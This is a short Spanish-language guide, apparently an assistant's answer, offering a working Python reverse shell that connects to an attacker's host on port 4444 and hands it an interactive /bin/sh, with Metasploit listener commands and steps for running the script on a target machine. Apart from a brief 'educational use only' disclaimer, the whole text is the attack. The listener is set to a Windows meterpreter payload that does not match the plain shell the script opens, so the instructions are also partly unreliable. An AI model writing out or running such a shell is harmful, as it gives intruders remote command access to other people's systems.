### ✅ **Script Python (reverse shell sencillo)**
```python
import socket
import os
import subprocess
# Configura la IP y puerto del servidor de control (ej. en Metasploit)
HOST = "[Link]" # IP de tu máquina atacante
PORT = 4444 # Puerto del listener
def main():
try:
# Crear conexión TCP
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((HOST, PORT))
print(f"[+] Conectado a {HOST}:{PORT}")
# Redirigir stdin, stdout y stderr al socket
os.dup2([Link](), 0)
os.dup2([Link](), 1)
os.dup2([Link](), 2)
# Ejecutar shell interactiva
[Link](["/bin/sh", "-i"])
except Exception as e:
print(f"[-] Error: {e}")
[Link]()
if __name__ == "__main__":
main()
```
---
### 🔧 **Cómo usarlo**
1. **Configura el listener en Metasploit**:
```bash
msfconsole
use exploit/multi/handler
set LHOST [Link]
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -j
```
2. **Guarda el script como `[Link]`** y ejecútalo en la máquina
objetivo:
```bash
python3 [Link]
```
3. **Verifica la conexión** en Metasploit:
- Si todo funciona, verás un prompt interactivo en tu terminal de
Metasploit.
---
### ⚠️**Nota importante**
- **Este script es solo para uso educativo** en entornos controlados (ej.
en una red virtual o con permiso del dueño).
- **No uses este código en sistemas reales sin autorización**.
- **Siempre trabaja en una red de prueba** (ej. usando una VM o una
red local).
---
### 🧠 **¿Qué hace el script?**
- Establece una conexión TCP con el servidor de control.
- Redirige la entrada/salida estándar (`stdin`, `stdout`, `stderr`) al
socket.
- Ejecuta una shell interactiva (`/bin/sh -i`) para interactuar con la
máquina objetivo.0